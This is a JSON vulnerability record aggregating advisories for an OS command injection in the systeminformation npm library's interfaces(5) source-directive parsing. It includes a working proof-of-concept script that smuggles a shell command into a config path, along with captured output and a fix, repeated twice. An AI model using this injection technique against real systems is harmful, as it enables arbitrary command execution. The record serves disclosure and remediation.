{"id":"CVE-2026-50289","aliases":["CLSA-2026-1788560453","DEBIAN-CVE-2026-50289","EUVD-2026-45265","GHSA-5xpp-75jx-m839","ROOT-APP-NPM-CVE-2026-50289","UBUNTU-CVE-2026-50289"],"status":"published","title":"systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.02184,"percentile":0.82537,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-07-15T23:09:28Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"npm","package":"systeminformation","fixed_in":["5.31.7"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-systeminformation","fixed_in":["5.31.7-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"systeminformation","fixed_in":["5.23.8-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/systeminformation","fixed_in":["5.23.8-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.31.6"},{"fixed":"5.31.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.23.8-tuxcare.0"},{"fixed":"5.23.8-tuxcare.1"}]}],"versions":["5.23.8"],"bundled":4},{"source":"osv","ecosystem":"Debian:14","package":"node-systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.31.7-1"}]}],"versions":["5.31.6-1","5.31.6-2","5.31.6-3","5.31.6-4"]},{"source":"osv","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.31.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.8-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.8-root.io.6"}]}]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.31.6-4","5.31.7-1"]}],"products":[{"vendor":"sebhildebrandt","product":"systeminformation"},{"vendor":"systeminformation","product":"systeminformation"}],"references":[{"url":"https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5xpp-75jx-m839","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/sebhildebrandt/systeminformation/commit/bbfddde48672d0ee124fefdb3cb4442fd9dd4f03","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.7","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-5xpp-75jx-m839"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/50xxx/CVE-2026-50289.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50289","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-50289","tags":["advisory"]},{"url":"https://github.com/sebhildebrandt/systeminformation","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-50289","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50289","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-50289","title":"systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.","status":"published","published":"2026-07-17T19:42:41.417Z","modified":"2026-07-20T16:22:33.661Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:09.098623Z"}],"euvd":[{"id":"EUVD-2026-45265","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.","status":"published","published":"2026-07-17T19:42:41Z","modified":"2026-07-20T16:22:33Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:19:48.530346Z"}],"ghsa":[{"id":"GHSA-5xpp-75jx-m839","title":"systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux","description":"### Summary\n\nOn Linux, `systeminformation`'s `networkInterfaces()` is vulnerable to OS command injection through the Debian/Ubuntu `interfaces(5)` `source` directive. While collecting per-interface DHCP state, the library reads `/etc/network/interfaces` and, for every `source \u003cpath\u003e` line it encounters, extracts the path token *from the file content* and interpolates it **unquoted** into a shell command string that is run via `execSync()`. A `source` line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.\n\nThis is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the `interfaces(5)` `source`-recursion sink in `checkLinuxDCHPInterfaces()` was left unfixed and still builds a shell string. The input to this sink is *unsanitized* (unlike the `iface`/`connectionName` paths, which pass through `util.sanitizeString` in strict mode before reaching their commands).\n\n### Impact\n\nAn attacker who can place or influence a `source`d path in `/etc/network/interfaces` (or any file it transitively `source`s) achieves command execution inside any process that calls `networkInterfaces()`. Realistic affected deployments are the same ones that motivate this library:\n\n- local inventory / asset agents\n- monitoring and diagnostics agents\n- admin-dashboard backends collecting host information\n- device-management / desktop agents\n\nIf such a process runs with elevated privileges, the injected command runs with those privileges. `networkInterfaces()` is a core, frequently-called API and is reached transitively by `getStaticData()` / `getAllData()`, so the sink is exercised by ordinary usage on Linux.\n\n### Threat model\n\nThe dangerous value is **not** a function argument supplied by the caller. It is read from the *content* of an `interfaces(5)` configuration file. The stock Debian/Ubuntu layout uses `source /etc/network/interfaces.d/*` and `source-directory` fan-out, so the parser routinely follows `source` directives into other files and re-parses their `source` lines. Any actor who can write a file that becomes reachable through that `source` chain — for example a lower-privileged process or configuration-management hook that drops a file into a `source`d directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one `source`d path string contains shell metacharacters.\n\n### Vulnerable code\n\n`lib/network.js`, `checkLinuxDCHPInterfaces()` (current `5.31.6` line numbers):\n\n```js\n// lib/network.js\nfunction checkLinuxDCHPInterfaces(file) {\n  let result = [];\n  try {\n    const cmd = `cat ${file} 2\u003e /dev/null | grep 'iface\\\\|source'`;   // \u003c-- unquoted ${file} -\u003e shell sink\n    const lines = execSync(cmd, util.execOptsLinux).toString().split('\\n');\n\n    lines.forEach((line) =\u003e {\n      const parts = line.replace(/\\s+/g, ' ').trim().split(' ');\n      if (parts.length \u003e= 4) {\n        if (line.toLowerCase().indexOf(' inet ') \u003e= 0 \u0026\u0026 line.toLowerCase().indexOf('dhcp') \u003e= 0) {\n          result.push(parts[1]);\n        }\n      }\n      if (line.toLowerCase().includes('source')) {\n        const file = line.split(' ')[1];                              // \u003c-- path parsed FROM file content\n        result = result.concat(checkLinuxDCHPInterfaces(file));        // \u003c-- recurses, re-feeding attacker path\n      }\n    });\n  } catch {\n    util.noop();\n  }\n  return result;\n}\n```\n\n`util.execOptsLinux` sets no `shell` option, so `execSync(cmd, util.execOptsLinux)` runs `cmd` through `/bin/sh`. The `${file}` token is interpolated raw — not quoted, not passed through `util.sanitizeString`/`sanitizeShellString` — so `;`, `$( )`, backticks, `|`, `\u0026`, redirections, and even a bare space all break out of the intended `cat`/`grep` pipeline.\n\nReach chain to the public API:\n\n```js\n// lib/network.js, getLinuxDHCPNics()\nresult = checkLinuxDCHPInterfaces('/etc/network/interfaces');\n```\n\n```js\n// lib/network.js, networkInterfaces() (Linux branch)\n_dhcpNics = getLinuxDHCPNics();\n```\n\n`networkInterfaces()` is also reached by `getStaticData()` and `getAllData()` in `lib/index.js`.\n\n### Reproduction\n\nThe PoC exercises the **verbatim shipped sink function** extracted from the installed `node_modules/systeminformation/lib/network.js` (version pinned to `5.31.6`), bound to the same `child_process.execSync` and shipped `util.execOptsLinux` the library uses. It then drives the exact `source`-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.\n\nInstall the pinned vulnerable version:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n```\n\n`poc.js`:\n\n```js\nconst fs = require('fs');\nconst path = require('path');\nconst cp = require('child_process');\nconst libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');\nconst util = require(path.join(libDir, 'util.js'));\n\n// Load the VERBATIM shipped sink function from the installed library source.\nconst src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');\nconst m = src.match(/function checkLinuxDCHPInterfaces\\(file\\) \\{[\\s\\S]*?\\n\\}\\n/);\nif (!m) { console.error('could not locate shipped function'); process.exit(2); }\n\n// Bind the same free vars network.js binds: execSync + util.\nconst execSync = cp.execSync;\nconst checkLinuxDCHPInterfaces =\n  new Function('execSync', 'util', m[0] + '\\nreturn checkLinuxDCHPInterfaces;')(execSync, util);\n\n// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---\nconst tmp = fs.mkdtempSync('/tmp/si-dhcp-');\nconst outer = path.join(tmp, 'interfaces');\nconst marker = path.join(tmp, 'PWNED');\nconst maliciousSource = `/dev/null;id\u003e${marker};echo`;\nfs.writeFileSync(outer, `auto lo\\niface lo inet loopback\\nsource ${maliciousSource}\\n`);\n\nconsole.log('PRE  marker_exists=' + fs.existsSync(marker));\nconst res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -\u003e getLinuxDHCPNics() path\nconsole.log('returned=' + JSON.stringify(res));\nconsole.log('POST marker_exists=' + fs.existsSync(marker));\nif (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());\n\n// --- Negative control: a benign sourced path must NOT execute anything ---\nconst tmp2 = fs.mkdtempSync('/tmp/si-neg-');\nconst outer2 = path.join(tmp2, 'interfaces');\nconst inner2 = path.join(tmp2, 'iface.d');\nconst marker2 = path.join(tmp2, 'PWNED_NEG');\nfs.writeFileSync(inner2, 'iface eth0 inet dhcp\\n');\nfs.writeFileSync(outer2, `auto lo\\nsource ${inner2}\\n`);\nconsole.log('\\nNEG pre  marker_exists=' + fs.existsSync(marker2));\nconst res2 = checkLinuxDCHPInterfaces(outer2);\nconsole.log('NEG returned=' + JSON.stringify(res2));\nconsole.log('NEG post marker_exists=' + fs.existsSync(marker2));\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nVerbatim captured output (against `systeminformation@5.31.6`):\n\n```\nPRE  marker_exists=false\nreturned=[]\nPOST marker_exists=true\nmarker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)\n\nNEG pre  marker_exists=false\nNEG returned=[\"eth0\"]\nNEG post marker_exists=false\n```\n\nThe malicious `source` path caused the injected `id` command to run (marker created, contents = the calling process identity), while the benign `source` path parsed normally (`[\"eth0\"]`) and produced no marker. The injected command runs with the privileges of the Node.js process that called `networkInterfaces()`.\n\n### End-to-end reproduction\n\nThe transcript above is the end-to-end run against the pinned published artifact `systeminformation@5.31.6`, loading the shipped `lib/network.js` and `lib/util.js` from `node_modules`. Exact commands:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n# place poc.js (from the Reproduction section) in this directory\nnode poc.js\n```\n\nThe marker file `PWNED` is created only by the injected command path; the negative-control marker `PWNED_NEG` is never created. The verbatim captured stdout is shown in the Reproduction section above.\n\n### Suggested fix\n\nStop building a shell string from a path that comes out of file content. Read the file with `fs` (no shell), or use argument-array execution, and never interpolate a parsed `source` path into a shell command. For example:\n\n```js\nfunction checkLinuxDCHPInterfaces(file) {\n  let result = [];\n  try {\n    // No shell: read the file directly and filter in JS.\n    const content = require('fs').readFileSync(file, { encoding: 'utf8' });\n    const lines = content.split('\\n').filter((l) =\u003e /iface|source/.test(l));\n    lines.forEach((line) =\u003e {\n      const parts = line.replace(/\\s+/g, ' ').trim().split(' ');\n      if (parts.length \u003e= 4 \u0026\u0026\n          line.toLowerCase().indexOf(' inet ') \u003e= 0 \u0026\u0026\n          line.toLowerCase().indexOf('dhcp') \u003e= 0) {\n        result.push(parts[1]);\n      }\n      if (line.toLowerCase().includes('source')) {\n        const sourced = line.split(' ')[1];\n        result = result.concat(checkLinuxDCHPInterfaces(sourced));\n      }\n    });\n  } catch {\n    require('./util').noop();\n  }\n  return result;\n}\n```\n\nIf shelling out is preferred, replace the `cat`/`grep` shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:\n\n```js\nconst { execFileSync } = require('child_process');\nconst content = execFileSync('cat', [file], util.execOptsLinux).toString();\n```\n\nQuoting alone is insufficient. Treat every value parsed from `interfaces(5)` files as untrusted even though it originates from local system state, consistent with the defensive `util.sanitizeString` pattern already applied to the interface name and NetworkManager connection name on the sibling paths.\n\n### Fix PR\n\nA fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the `cat ${file}` shell string in `checkLinuxDCHPInterfaces()` with a non-shell `fs.readFileSync` read and adds a Linux regression test that points the function at an `interfaces` file containing a `source` directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-15T23:09:28Z","modified":"2026-07-15T23:09:29Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:44.915484Z"}],"nvd":[{"id":"CVE-2026-50289","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.","status":"published","published":"2026-07-17T20:17:24.857Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-50289","title":"systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.","status":"published","published":"2026-07-17T19:42:41.417Z","modified":"2026-10-28T02:30:57.692816956Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:07.431113Z"},{"id":"DEBIAN-CVE-2026-50289","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.","status":"published","published":"2026-07-17T20:17:24.857Z","modified":"2026-10-25T09:47:30.621471645Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:56.877408Z"},{"id":"GHSA-5xpp-75jx-m839","title":"systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux","description":"### Summary\n\nOn Linux, `systeminformation`'s `networkInterfaces()` is vulnerable to OS command injection through the Debian/Ubuntu `interfaces(5)` `source` directive. While collecting per-interface DHCP state, the library reads `/etc/network/interfaces` and, for every `source \u003cpath\u003e` line it encounters, extracts the path token *from the file content* and interpolates it **unquoted** into a shell command string that is run via `execSync()`. A `source` line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.\n\nThis is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the `interfaces(5)` `source`-recursion sink in `checkLinuxDCHPInterfaces()` was left unfixed and still builds a shell string. The input to this sink is *unsanitized* (unlike the `iface`/`connectionName` paths, which pass through `util.sanitizeString` in strict mode before reaching their commands).\n\n### Impact\n\nAn attacker who can place or influence a `source`d path in `/etc/network/interfaces` (or any file it transitively `source`s) achieves command execution inside any process that calls `networkInterfaces()`. Realistic affected deployments are the same ones that motivate this library:\n\n- local inventory / asset agents\n- monitoring and diagnostics agents\n- admin-dashboard backends collecting host information\n- device-management / desktop agents\n\nIf such a process runs with elevated privileges, the injected command runs with those privileges. `networkInterfaces()` is a core, frequently-called API and is reached transitively by `getStaticData()` / `getAllData()`, so the sink is exercised by ordinary usage on Linux.\n\n### Threat model\n\nThe dangerous value is **not** a function argument supplied by the caller. It is read from the *content* of an `interfaces(5)` configuration file. The stock Debian/Ubuntu layout uses `source /etc/network/interfaces.d/*` and `source-directory` fan-out, so the parser routinely follows `source` directives into other files and re-parses their `source` lines. Any actor who can write a file that becomes reachable through that `source` chain — for example a lower-privileged process or configuration-management hook that drops a file into a `source`d directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one `source`d path string contains shell metacharacters.\n\n### Vulnerable code\n\n`lib/network.js`, `checkLinuxDCHPInterfaces()` (current `5.31.6` line numbers):\n\n```js\n// lib/network.js\nfunction checkLinuxDCHPInterfaces(file) {\n  let result = [];\n  try {\n    const cmd = `cat ${file} 2\u003e /dev/null | grep 'iface\\\\|source'`;   // \u003c-- unquoted ${file} -\u003e shell sink\n    const lines = execSync(cmd, util.execOptsLinux).toString().split('\\n');\n\n    lines.forEach((line) =\u003e {\n      const parts = line.replace(/\\s+/g, ' ').trim().split(' ');\n      if (parts.length \u003e= 4) {\n        if (line.toLowerCase().indexOf(' inet ') \u003e= 0 \u0026\u0026 line.toLowerCase().indexOf('dhcp') \u003e= 0) {\n          result.push(parts[1]);\n        }\n      }\n      if (line.toLowerCase().includes('source')) {\n        const file = line.split(' ')[1];                              // \u003c-- path parsed FROM file content\n        result = result.concat(checkLinuxDCHPInterfaces(file));        // \u003c-- recurses, re-feeding attacker path\n      }\n    });\n  } catch {\n    util.noop();\n  }\n  return result;\n}\n```\n\n`util.execOptsLinux` sets no `shell` option, so `execSync(cmd, util.execOptsLinux)` runs `cmd` through `/bin/sh`. The `${file}` token is interpolated raw — not quoted, not passed through `util.sanitizeString`/`sanitizeShellString` — so `;`, `$( )`, backticks, `|`, `\u0026`, redirections, and even a bare space all break out of the intended `cat`/`grep` pipeline.\n\nReach chain to the public API:\n\n```js\n// lib/network.js, getLinuxDHCPNics()\nresult = checkLinuxDCHPInterfaces('/etc/network/interfaces');\n```\n\n```js\n// lib/network.js, networkInterfaces() (Linux branch)\n_dhcpNics = getLinuxDHCPNics();\n```\n\n`networkInterfaces()` is also reached by `getStaticData()` and `getAllData()` in `lib/index.js`.\n\n### Reproduction\n\nThe PoC exercises the **verbatim shipped sink function** extracted from the installed `node_modules/systeminformation/lib/network.js` (version pinned to `5.31.6`), bound to the same `child_process.execSync` and shipped `util.execOptsLinux` the library uses. It then drives the exact `source`-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.\n\nInstall the pinned vulnerable version:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n```\n\n`poc.js`:\n\n```js\nconst fs = require('fs');\nconst path = require('path');\nconst cp = require('child_process');\nconst libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');\nconst util = require(path.join(libDir, 'util.js'));\n\n// Load the VERBATIM shipped sink function from the installed library source.\nconst src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');\nconst m = src.match(/function checkLinuxDCHPInterfaces\\(file\\) \\{[\\s\\S]*?\\n\\}\\n/);\nif (!m) { console.error('could not locate shipped function'); process.exit(2); }\n\n// Bind the same free vars network.js binds: execSync + util.\nconst execSync = cp.execSync;\nconst checkLinuxDCHPInterfaces =\n  new Function('execSync', 'util', m[0] + '\\nreturn checkLinuxDCHPInterfaces;')(execSync, util);\n\n// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---\nconst tmp = fs.mkdtempSync('/tmp/si-dhcp-');\nconst outer = path.join(tmp, 'interfaces');\nconst marker = path.join(tmp, 'PWNED');\nconst maliciousSource = `/dev/null;id\u003e${marker};echo`;\nfs.writeFileSync(outer, `auto lo\\niface lo inet loopback\\nsource ${maliciousSource}\\n`);\n\nconsole.log('PRE  marker_exists=' + fs.existsSync(marker));\nconst res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -\u003e getLinuxDHCPNics() path\nconsole.log('returned=' + JSON.stringify(res));\nconsole.log('POST marker_exists=' + fs.existsSync(marker));\nif (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());\n\n// --- Negative control: a benign sourced path must NOT execute anything ---\nconst tmp2 = fs.mkdtempSync('/tmp/si-neg-');\nconst outer2 = path.join(tmp2, 'interfaces');\nconst inner2 = path.join(tmp2, 'iface.d');\nconst marker2 = path.join(tmp2, 'PWNED_NEG');\nfs.writeFileSync(inner2, 'iface eth0 inet dhcp\\n');\nfs.writeFileSync(outer2, `auto lo\\nsource ${inner2}\\n`);\nconsole.log('\\nNEG pre  marker_exists=' + fs.existsSync(marker2));\nconst res2 = checkLinuxDCHPInterfaces(outer2);\nconsole.log('NEG returned=' + JSON.stringify(res2));\nconsole.log('NEG post marker_exists=' + fs.existsSync(marker2));\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nVerbatim captured output (against `systeminformation@5.31.6`):\n\n```\nPRE  marker_exists=false\nreturned=[]\nPOST marker_exists=true\nmarker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)\n\nNEG pre  marker_exists=false\nNEG returned=[\"eth0\"]\nNEG post marker_exists=false\n```\n\nThe malicious `source` path caused the injected `id` command to run (marker created, contents = the calling process identity), while the benign `source` path parsed normally (`[\"eth0\"]`) and produced no marker. The injected command runs with the privileges of the Node.js process that called `networkInterfaces()`.\n\n### End-to-end reproduction\n\nThe transcript above is the end-to-end run against the pinned published artifact `systeminformation@5.31.6`, loading the shipped `lib/network.js` and `lib/util.js` from `node_modules`. Exact commands:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n# place poc.js (from the Reproduction section) in this directory\nnode poc.js\n```\n\nThe marker file `PWNED` is created only by the injected command path; the negative-control marker `PWNED_NEG` is never created. The verbatim captured stdout is shown in the Reproduction section above.\n\n### Suggested fix\n\nStop building a shell string from a path that comes out of file content. Read the file with `fs` (no shell), or use argument-array execution, and never interpolate a parsed `source` path into a shell command. For example:\n\n```js\nfunction checkLinuxDCHPInterfaces(file) {\n  let result = [];\n  try {\n    // No shell: read the file directly and filter in JS.\n    const content = require('fs').readFileSync(file, { encoding: 'utf8' });\n    const lines = content.split('\\n').filter((l) =\u003e /iface|source/.test(l));\n    lines.forEach((line) =\u003e {\n      const parts = line.replace(/\\s+/g, ' ').trim().split(' ');\n      if (parts.length \u003e= 4 \u0026\u0026\n          line.toLowerCase().indexOf(' inet ') \u003e= 0 \u0026\u0026\n          line.toLowerCase().indexOf('dhcp') \u003e= 0) {\n        result.push(parts[1]);\n      }\n      if (line.toLowerCase().includes('source')) {\n        const sourced = line.split(' ')[1];\n        result = result.concat(checkLinuxDCHPInterfaces(sourced));\n      }\n    });\n  } catch {\n    require('./util').noop();\n  }\n  return result;\n}\n```\n\nIf shelling out is preferred, replace the `cat`/`grep` shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:\n\n```js\nconst { execFileSync } = require('child_process');\nconst content = execFileSync('cat', [file], util.execOptsLinux).toString();\n```\n\nQuoting alone is insufficient. Treat every value parsed from `interfaces(5)` files as untrusted even though it originates from local system state, consistent with the defensive `util.sanitizeString` pattern already applied to the interface name and NetworkManager connection name on the sibling paths.\n\n### Fix PR\n\nA fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the `cat ${file}` shell string in `checkLinuxDCHPInterfaces()` with a non-shell `fs.readFileSync` read and adds a Linux regression test that points the function at an `interfaces` file containing a `source` directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-15T23:09:28Z","modified":"2026-09-10T03:51:10.486699069Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"UBUNTU-CVE-2026-50289","description":"systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep 'iface\\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 